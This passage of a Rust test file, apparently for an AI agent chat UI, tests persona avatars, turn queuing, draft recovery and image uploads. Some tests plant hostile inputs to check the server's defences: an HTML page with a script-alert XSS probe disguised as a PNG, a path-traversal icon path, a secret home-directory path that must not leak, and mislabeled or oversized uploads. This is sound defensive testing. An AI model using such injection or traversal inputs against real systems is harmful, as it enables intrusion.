12122 let nosniff = h
12123 .get(header::X_CONTENT_TYPE_OPTIONS)
12124 .is_some_and(|v| v == "nosniff");
12125 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12126 let status = res.status();
12127 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12128 .await
12129 .expect("body")
12130 .to_vec();
12131 (status, ct, nosniff, csp, body)
12132 }
12133
12134 fn tiny_png() -> Vec<u8> {
12135 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12136 b.extend_from_slice(&[0u8; 32]);
12137 b
12138 }
12139
12140 #[tokio::test]
12141 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12142 let res = operator_avatar().await;
12143 assert_eq!(res.status(), StatusCode::OK);
12144 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12145 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12146 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12147 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12148 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12149 .await
12150 .unwrap();
12151 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12152 assert_ne!(
12153 persona_icon::operator_svg(),
12154 persona_icon::builtin_svg("default")
12155 );
12156 }
12157
12158 #[tokio::test]
12159 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12160 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12161 for p in [
12162 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12163 ] {
12164 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12165 assert_eq!(status, StatusCode::OK, "{p}");
12166 assert_eq!(ct, "image/svg+xml", "{p}");
12167 assert!(nosniff && csp, "{p}");
12168 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12169 }
12170 let own = avatar(&ui, &id, None, false).await;
12172 let default = avatar(&ui, &id, Some("default"), false).await;
12173 assert_eq!(own.4, default.4);
12174 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12175 assert_eq!(unknown.1, "image/svg+xml");
12176 }
12177
12178 #[tokio::test]
12179 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12180 let dir = TempDir::new().expect("icons");
12181 let good = dir.path().join("good.png");
12182 std::fs::write(&good, tiny_png()).unwrap();
12183 let spoof = dir.path().join("spoof.png");
12184 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12185 let big = dir.path().join("big.png");
12186 let mut bytes = tiny_png();
12187 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12188 std::fs::write(&big, bytes).unwrap();
12189 let missing = dir.path().join("missing.png");
12190 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12191 let extra = format!(
12192 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12193 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12194 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12195 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12196 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12197 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12198 uri(&good),
12199 uri(&spoof),
12200 uri(&big),
12201 uri(&missing),
12202 );
12203 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12204
12205 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12206 assert_eq!(
12207 (status, ct.as_str(), nosniff),
12208 (StatusCode::OK, "image/png", true)
12209 );
12210 assert_eq!(body, tiny_png());
12211 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12212 assert_eq!(ct, "image/png", "data URI");
12213
12214 for p in ["misato", "asuka", "shinji", "magi"] {
12215 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12216 assert_eq!(
12217 (status, ct.as_str(), csp),
12218 (StatusCode::OK, "image/svg+xml", true),
12219 "{p}"
12220 );
12221 assert!(body.starts_with(b"<svg"), "{p}");
12222 }
12223 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12225 assert_eq!(ct, "image/svg+xml");
12226 }
12227
12228 #[tokio::test]
12229 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12230 let oversized = format!(
12231 "data:image/png;base64,{}",
12232 "A".repeat(persona_icon::ICON_MAX_BYTES)
12233 );
12234 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12235 let extra = format!(
12236 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12237 );
12238 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12239 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12240 .await
12241 .expect("detail with invalid icon");
12242 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12243 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12244 assert_eq!(status, StatusCode::OK);
12245 assert_eq!(ct, "image/svg+xml");
12246 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12247 let Json(view) = talk_persona(
12248 State(Arc::clone(&ui)),
12249 Path(id.clone()),
12250 Json(TalkPersona {
12251 persona: "custom".into(),
12252 }),
12253 )
12254 .await
12255 .expect("persona switch with invalid icon");
12256 assert_eq!(view.talk.persona, "custom");
12257 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12258 }
12259 }
12260
12261 #[tokio::test]
12262 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12263 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12264 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12265 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12266 assert_eq!(
12267 (status, ct.as_str(), nosniff, csp),
12268 (StatusCode::OK, "image/svg+xml", true, true)
12269 );
12270 }
12271
12272 #[tokio::test]
12273 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12274 let (_t, _h, ui, id, _repo) =
12275 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12276 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12277 .await
12278 .expect("detail");
12279 let json = serde_json::to_string(&detail).unwrap();
12280 assert!(
12281 !json.contains("secret"),
12282 "the icon setting must not leak: {json}"
12283 );
12284 assert!(
12285 detail
12286 .view
12287 .persona_avatar
12288 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12289 );
12290 assert_eq!(
12291 detail.view.operator_avatar,
12292 format!(
12293 "/avatars/operator.svg?v={}",
12294 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12295 )
12296 );
12297 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12298 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12299 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12300 assert!(rei.avatar.contains("persona=rei&v="));
12301 assert_ne!(
12302 rei.avatar.split("&v=").nth(1),
12303 plain.avatar.split("&v=").nth(1)
12304 );
12305 }
12306
12307 #[tokio::test]
12308 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12309 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12310 let cfg = config_for(&repo).await.unwrap();
12311 for arrived in [false, true] {
12312 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12313 let observed = ui.queued_generation(&id);
12314 let talk = ui.talks.get(&id).unwrap();
12315 if arrived {
12316 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12317 }
12318 let mut settling = std::pin::pin!(settle_settings_turn(
12319 talk,
12320 ui.talks.clone(),
12321 cfg.clone(),
12322 id.clone(),
12323 turn,
12324 observed
12325 ));
12326 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12327 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12328 assert_eq!(first.is_pending(), arrived);
12329 if arrived {
12330 assert!(!settling.await);
12331 }
12332 assert!(!ui.is_thinking(&id));
12333 }
12334 }
12335
12336 #[tokio::test]
12337 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12338 let tmp = TempDir::new().expect("tempdir");
12339 let repo = tmp.path().join("repo");
12340 std::fs::create_dir_all(&repo).expect("repo dir");
12341 std::fs::write(
12342 repo.join("magi.toml"),
12343 format!(
12344 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12345 ),
12346 )
12347 .expect("write magi.toml");
12348 let home = TempDir::new().expect("temp home");
12349 let talks = Talks::at(home.path().join("talks"));
12350 let ui = Arc::new(
12351 Ui::new(
12352 Queue::at(home.path().join("queue")),
12353 Questions::at(home.path().join("questions")),
12354 talks.clone(),
12355 home.path().join("runs"),
12356 home.path().to_path_buf(),
12357 repo.clone(),
12358 )
12359 .with_worktrees_root(home.path().join("wt")),
12360 );
12361 let cfg = config_for(&repo).await.expect("discover config");
12362 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12363 let id = talk.id.clone();
12364 let call = |persona: &str| {
12365 talk_persona(
12366 State(Arc::clone(&ui)),
12367 Path(id.clone()),
12368 Json(TalkPersona {
12369 persona: persona.to_owned(),
12370 }),
12371 )
12372 };
12373
12374 let unknown = call("nobody").await.expect_err("unknown persona");
12375 assert_eq!(
12376 unknown.status,
12377 StatusCode::BAD_REQUEST,
12378 "{}",
12379 unknown.message
12380 );
12381
12382 {
12383 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12386 let busy = call("rei").await.expect_err("busy talk");
12387 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12388 assert!(
12389 busy.message.contains("a talk turn is running"),
12390 "{}",
12391 busy.message
12392 );
12393 drop(guard);
12394 }
12395 assert_eq!(talks.get(&id).expect("reload").persona, "");
12396
12397 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12398 assert_eq!(view.talk.persona, "gendo");
12399 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12400 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12401 for chosen in ["default", "gendo", "rei", "gendo"] {
12403 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12404 assert!(!view.thinking);
12405 assert!(!ui.is_thinking(&id));
12406 }
12407
12408 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12409 .await
12410 .expect("detail");
12411 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12412 assert_eq!(ids.first(), Some(&"default"));
12413 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12414
12415 let Json(view) = call("default").await.expect("back to default");
12416 assert_eq!(view.talk.persona, "");
12417
12418 let mut closed = talks.get(&id).expect("reload");
12419 talk::close(&mut closed, &talks).expect("close");
12420 let refused = call("rei").await.expect_err("closed talk");
12421 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12422 assert!(
12423 refused.message.contains("takes no more turns"),
12424 "{}",
12425 refused.message
12426 );
12427 }
12428
12429 #[tokio::test]
12430 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12431 let f = Fixture::start().await;
12432 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12433 let queue = f.queue();
12434 let mut mine = Task::new(
12435 "rename the loader".to_owned(),
12436 "rename the loader".to_owned(),
12437 PathBuf::from("/repo/magi"),
12438 Source::Agent {
12439 run: talk_id.clone(),
12440 node: "chat".to_owned(),
12441 },
12442 );
12443 queue.put(&mut mine).expect("file the task");
12444 let mut theirs = Task::new(
12445 "unrelated".to_owned(),
12446 "unrelated".to_owned(),
12447 PathBuf::from("/repo/magi"),
12448 Source::Human,
12449 );
12450 queue.put(&mut theirs).expect("file the task");
12451
12452 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12453 assert_eq!(res.status, 200, "{}", res.body);
12454 let body = res.json();
12455 assert_eq!(
12456 body["status"], "open",
12457 "filing a task does not close a talk"
12458 );
12459 let tasks = body["tasks"].as_array().expect("tasks array");
12460 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12461 assert_eq!(tasks[0]["id"], mine.id);
12462 }
12463
12464 #[tokio::test]
12465 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12466 let (_tmp, _repo, f) = talk_fixture().await;
12467 let id = f.post("/api/talks", None).await.json()["id"]
12468 .as_str()
12469 .expect("id")
12470 .to_owned();
12471
12472 let res = f
12473 .post(
12474 &format!("/api/talks/{id}/say"),
12475 Some(r#"{"text":"what does the queue module do?"}"#),
12476 )
12477 .await;
12478 assert_eq!(res.status, 202, "{}", res.body);
12479 let queued = res.json();
12480 let turns = queued["turns"].as_array().expect("turns array");
12481 assert_eq!(
12482 turns.len(),
12483 1,
12484 "the answer reflects only what is on disk the instant it is sent, \
12485 before the agent's turn - which can run for the whole of \
12486 `[graph] timeout_talk` - has a chance to land: {queued}"
12487 );
12488 assert_eq!(turns[0]["who"], "operator");
12489 assert_eq!(turns[0]["body"], "what does the queue module do?");
12490 assert_eq!(
12491 queued["thinking"], true,
12492 "the accepted response exposes the background turn claim: {queued}"
12493 );
12494
12495 let mut turns_after = 1;
12496 for _ in 0..SETTLE_STEPS {
12497 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12498 turns_after = detail["turns"].as_array().expect("turns array").len();
12499 if turns_after == 2 {
12500 break;
12501 }
12502 tokio::time::sleep(Duration::from_millis(10)).await;
12503 }
12504 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12505 }
12506
12507 #[tokio::test]
12534 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12535 let tmp = TempDir::new().expect("tempdir");
12536 let repo = tmp.path().join("repo");
12537 std::fs::create_dir_all(&repo).expect("repo dir");
12538 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12539 let home = TempDir::new().expect("temp home");
12540 let talks = Talks::at(home.path().join("talks"));
12541 let ui = Arc::new(
12542 Ui::new(
12543 Queue::at(home.path().join("queue")),
12544 Questions::at(home.path().join("questions")),
12545 talks.clone(),
12546 home.path().join("runs"),
12547 home.path().to_path_buf(),
12548 repo.clone(),
12549 )
12550 .with_worktrees_root(home.path().join("wt")),
12551 );
12552 let cfg = config_for(&repo).await.expect("discover config");
12553
12554 for delay in 0..40u32 {
12555 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12556 let id = talk.id.clone();
12557
12558 let handler = tokio::spawn(talk_say(
12559 State(Arc::clone(&ui)),
12560 Path(id.clone()),
12561 Ok(Json(NewTalkTurn {
12562 reply_to: None,
12563 text: "what does the queue module do?".to_owned(),
12564 attachments: Vec::new(),
12565 })),
12566 ));
12567 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12568 handler.abort();
12569 let _ = handler.await;
12572
12573 let mut turns = 0;
12574 for _ in 0..SETTLE_STEPS {
12575 if let Ok(fresh) = talks.get(&id) {
12576 turns = fresh.turns.len();
12577 if turns != 1 {
12578 break;
12579 }
12580 }
12581 tokio::time::sleep(Duration::from_millis(10)).await;
12582 }
12583 assert_ne!(
12584 turns, 1,
12585 "delay {delay}: talk {id} recorded the operator's turn but \
12586 the agent never answered - the reply task was never \
12587 started after the handler future was dropped"
12588 );
12589 }
12590 }
12591
12592 #[tokio::test]
12637 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12638 let tmp = TempDir::new().expect("tempdir");
12639 let repo = tmp.path().join("repo");
12640 std::fs::create_dir_all(&repo).expect("repo dir");
12641 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12642 let home = TempDir::new().expect("temp home");
12643 let talks = Talks::at(home.path().join("talks"));
12644 let ui = Arc::new(
12645 Ui::new(
12646 Queue::at(home.path().join("queue")),
12647 Questions::at(home.path().join("questions")),
12648 talks.clone(),
12649 home.path().join("runs"),
12650 home.path().to_path_buf(),
12651 repo.clone(),
12652 )
12653 .with_worktrees_root(home.path().join("wt")),
12654 );
12655 let cfg = config_for(&repo).await.expect("discover config");
12656
12657 for attempt in 0..3u32 {
12658 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12659 let id = talk.id.clone();
12660 let turn_guard = ui
12663 .begin_talk_turn(&id)
12664 .expect("claim the turn")
12665 .expect("a fresh talk owes nobody a turn");
12666
12667 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12668 let (release_tx, release_rx) = std::sync::mpsc::channel();
12669 ui.set_busy_queue_gate(BusyQueueGate {
12670 reached: reached_tx,
12671 release: release_rx,
12672 });
12673
12674 let handler = tokio::spawn(talk_say(
12675 State(Arc::clone(&ui)),
12676 Path(id.clone()),
12677 Ok(Json(NewTalkTurn {
12678 reply_to: None,
12679 text: "what does the queue module do?".to_owned(),
12680 attachments: Vec::new(),
12681 })),
12682 ));
12683
12684 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12689 .await
12690 .unwrap_or_else(|_| {
12691 panic!(
12692 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12693 )
12694 })
12695 .expect("the busy branch dropped the gate without using it");
12696
12697 let running = talks.get(&id).expect("reload talk");
12704 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12705
12706 handler.abort();
12710 let _ = handler.await;
12711
12712 let _ = release_tx.send(());
12718
12719 let mut fresh = talks.get(&id).expect("reload talk");
12722 for _ in 0..SETTLE_STEPS {
12723 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
12724 break;
12725 }
12726 tokio::time::sleep(Duration::from_millis(10)).await;
12727 fresh = talks.get(&id).expect("reload talk");
12728 }
12729 assert!(
12730 fresh.pending.is_empty() && fresh.turns.len() == 2,
12731 "attempt {attempt}: talk {id} left the operator's text queued \
12732 with no drainer - the reclaimed turn was dropped along with \
12733 the handler future (pending {:?}, {} turns)",
12734 fresh.pending,
12735 fresh.turns.len()
12736 );
12737 }
12738 }
12739
12740 #[tokio::test]
12741 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
12742 let (_tmp, _repo, f) = talk_fixture().await;
12743 let id = f.post("/api/talks", None).await.json()["id"]
12744 .as_str()
12745 .expect("id")
12746 .to_owned();
12747 let store = f.talks();
12748 let mut recovered = store.get(&id).expect("opened talk");
12749 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12750 .expect("persist pending draft without a live turn");
12751
12752 let edited = f
12753 .post(
12754 &format!("/api/talks/{id}/pending/edit"),
12755 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
12756 )
12757 .await;
12758 assert_eq!(edited.status, 200, "{}", edited.body);
12759 assert!(edited.json()["thinking"].as_bool().unwrap());
12760
12761 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
12762 for _ in 0..SETTLE_STEPS {
12763 if detail["turns"].as_array().expect("turns").len() == 2 {
12764 break;
12765 }
12766 tokio::time::sleep(Duration::from_millis(10)).await;
12767 detail = f.get(&format!("/api/talks/{id}")).await.json();
12768 }
12769 let turns = detail["turns"].as_array().expect("turns");
12770 assert_eq!(
12771 turns.len(),
12772 2,
12773 "the recovered draft must run once: {detail}"
12774 );
12775 assert_eq!(turns[0]["body"], "corrected");
12776 assert_eq!(detail["pending"], "");
12777 }
12778
12779 #[tokio::test]
12780 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
12781 let tmp = TempDir::new().expect("tempdir");
12782 let repo = tmp.path().join("repo");
12783 std::fs::create_dir_all(&repo).expect("repo dir");
12784 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12785 let f = Fixture::with_repo(repo).await;
12786 let id = f.post("/api/talks", None).await.json()["id"]
12787 .as_str()
12788 .expect("id")
12789 .to_owned();
12790 let store = f.talks();
12791 let mut recovered = store.get(&id).expect("opened talk");
12792 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12793 .expect("persist pending draft without a live turn");
12794
12795 let refused = f
12796 .post(
12797 &format!("/api/talks/{id}/say"),
12798 Some(r#"{"text":"new message"}"#),
12799 )
12800 .await;
12801 assert_eq!(refused.status, 409, "{}", refused.body);
12802 assert!(refused.body.contains("resume"), "{}", refused.body);
12803 let saved = store.get(&id).expect("draft remains after refusal");
12804 assert!(saved.turns.is_empty());
12805 assert_eq!(saved.pending, "saved before restart");
12806
12807 let say_path = format!("/api/talks/{id}/say");
12808 let (first, second) = tokio::join!(
12809 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
12810 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
12811 );
12812 assert_eq!(first.status, 409, "{}", first.body);
12813 assert_eq!(second.status, 409, "{}", second.body);
12814 let saved = store
12815 .get(&id)
12816 .expect("draft remains after concurrent refusals");
12817 assert!(saved.turns.is_empty());
12818 assert_eq!(saved.pending, "saved before restart");
12819
12820 let resumed = f
12821 .post(&format!("/api/talks/{id}/pending/resume"), None)
12822 .await;
12823 assert_eq!(resumed.status, 202, "{}", resumed.body);
12824 let duplicate = f
12825 .post(&format!("/api/talks/{id}/pending/resume"), None)
12826 .await;
12827 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
12828
12829 for _ in 0..SETTLE_STEPS {
12830 if store.get(&id).expect("talk").turns.len() == 2 {
12831 break;
12832 }
12833 tokio::time::sleep(Duration::from_millis(10)).await;
12834 }
12835 let finished = store.get(&id).expect("finished talk");
12836 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12837 assert_eq!(finished.turns[0].body, "saved before restart");
12838 assert!(finished.pending.is_empty());
12839 }
12840
12841 #[tokio::test]
12842 async fn an_image_only_recovered_draft_resumes_without_text() {
12843 let (_tmp, _repo, f) = talk_fixture().await;
12844 let id = f.post("/api/talks", None).await.json()["id"]
12845 .as_str()
12846 .expect("id")
12847 .to_owned();
12848 let uploaded = f
12849 .post_bytes(
12850 &format!("/api/talks/{id}/attachments"),
12851 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
12852 PNG_BYTES,
12853 )
12854 .await;
12855 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12856 let attachment = f
12857 .talks()
12858 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
12859 .expect("attachment metadata")
12860 .expect("stored attachment");
12861 let store = f.talks();
12862 let mut recovered = store.get(&id).expect("opened talk");
12863 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
12864
12865 let resumed = f
12866 .post(&format!("/api/talks/{id}/pending/resume"), None)
12867 .await;
12868 assert_eq!(resumed.status, 202, "{}", resumed.body);
12869 for _ in 0..SETTLE_STEPS {
12870 if store.get(&id).expect("talk").turns.len() == 2 {
12871 break;
12872 }
12873 tokio::time::sleep(Duration::from_millis(10)).await;
12874 }
12875 let finished = store.get(&id).expect("finished talk");
12876 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12877 assert!(finished.turns[0].body.is_empty());
12878 assert_eq!(finished.turns[0].attachments.len(), 1);
12879 assert!(finished.pending_attachments.is_empty());
12880 }
12881
12882 #[tokio::test]
12883 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
12884 let (_tmp, _repo, f) = talk_fixture().await;
12885 let id = f.post("/api/talks", None).await.json()["id"]
12886 .as_str()
12887 .expect("id")
12888 .to_owned();
12889 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12890 assert_eq!(closed.status, 200, "{}", closed.body);
12891 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12892 .expect("serialize closed talk");
12893 for (path, body) in [
12894 (format!("/api/talks/{id}/pending/resume"), None),
12895 (
12896 format!("/api/talks/{id}/pending/clear"),
12897 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
12898 ),
12899 (
12900 format!("/api/talks/{id}/pending/edit"),
12901 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
12902 ),
12903 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
12904 ] {
12905 let response = f.post(&path, body).await;
12906 assert_eq!(response.status, 409, "{}", response.body);
12907 }
12908 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12909 .expect("serialize closed talk");
12910 assert_eq!(
12911 after_clear, before_clear,
12912 "clear must not rewrite a closed talk"
12913 );
12914 }
12915
12916 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
12919
12920 #[tokio::test]
12921 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
12922 let tmp = TempDir::new().expect("tempdir");
12923 let repo = tmp.path().join("repo");
12924 std::fs::create_dir_all(&repo).expect("repo dir");
12925 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12926 let f = Fixture::with_repo(repo).await;
12927 let id_a = f.post("/api/talks", None).await.json()["id"]
12928 .as_str()
12929 .unwrap()
12930 .to_owned();
12931 let id_b = f.post("/api/talks", None).await.json()["id"]
12932 .as_str()
12933 .unwrap()
12934 .to_owned();
12935
12936 let a = f
12937 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
12938 .await;
12939 assert_eq!(a.status, 202, "{}", a.body);
12940 assert_eq!(a.json()["thinking"], true);
12941 let b = f
12942 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
12943 .await;
12944 assert_eq!(b.status, 202, "{}", b.body);
12945 assert_eq!(b.json()["thinking"], true);
12946
12947 let listed = f.get("/api/talks").await.json();
12948 for id in [&id_a, &id_b] {
12949 let view = listed
12950 .as_array()
12951 .unwrap()
12952 .iter()
12953 .find(|talk| talk["id"] == *id)
12954 .unwrap();
12955 assert_eq!(view["thinking"], true, "{listed}");
12956 }
12957 let repeated = f
12958 .post(
12959 &format!("/api/talks/{id_a}/say"),
12960 Some(r#"{"text":"again"}"#),
12961 )
12962 .await;
12963 assert_eq!(repeated.status, 202, "{}", repeated.body);
12964 assert_eq!(repeated.json()["pending"], "again");
12965 }
12966
12967 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
12970
12971 #[tokio::test]
12972 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
12973 let f = Fixture::start().await;
12974 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
12975
12976 let res = f
12977 .post_bytes(
12978 &format!("/api/talks/{id}/attachments"),
12979 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12980 PNG_BYTES,
12981 )
12982 .await;
12983 assert_eq!(res.status, 201, "{}", res.body);
12984 let body = res.json();
12985 assert_eq!(body["name"], "shot.png");
12986 assert_eq!(body["mime"], "image/png");
12987 assert_eq!(body["bytes"], PNG_BYTES.len());
12988 let att_id = body["id"].as_str().expect("id").to_owned();
12989 assert_eq!(
12990 att_id.len(),
12991 32,
12992 "the id must never be a client-suppliable path: {att_id}"
12993 );
12994
12995 let got = f
12996 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
12997 .await;
12998 assert_eq!(got.status, 200, "{}", got.body);
12999 assert_eq!(got.header("content-type"), Some("image/png"));
13000 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13001 assert_eq!(got.bytes, PNG_BYTES);
13002 }
13003
13004 #[tokio::test]
13005 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13006 let f = Fixture::start().await;
13007 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13008
13009 let svg = f
13012 .post_bytes(
13013 &format!("/api/talks/{id}/attachments"),
13014 &[("Content-Type", "image/svg+xml")],
13015 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13016 )
13017 .await;
13018 assert!(
13019 (400..500).contains(&svg.status),
13020 "svg must be refused: {} {}",
13021 svg.status,
13022 svg.body
13023 );
13024 assert!(svg.body.contains("SVG"), "{}", svg.body);
13025
13026 let text = f
13027 .post_bytes(
13028 &format!("/api/talks/{id}/attachments"),
13029 &[("Content-Type", "text/plain")],
13030 b"just some text",
13031 )
13032 .await;
13033 assert!(
13034 (400..500).contains(&text.status),
13035 "an unlisted type must be refused: {} {}",
13036 text.status,
13037 text.body
13038 );
13039
13040 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13043 let big = f
13044 .post_bytes(
13045 &format!("/api/talks/{id}/attachments"),
13046 &[("Content-Type", "image/png")],
13047 &oversized,
13048 )
13049 .await;
13050 assert_eq!(
13051 big.status,
13052 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13053 "{}",
13054 big.body
13055 );
13056 }
13057
13058 #[tokio::test]
13059 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13060 let f = Fixture::start().await;
13061 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13062
13063 let res = f
13066 .post_bytes(
13067 &format!("/api/talks/{id}/attachments"),
13068 &[("Content-Type", "image/png")],
13069 b"<html>not a picture</html>",
13070 )
13071 .await;
13072 assert!((400..500).contains(&res.status), "{}", res.body);
13073 }
13074
13075 #[tokio::test]
13076 async fn an_unknown_attachment_id_is_a_404() {
13077 let f = Fixture::start().await;
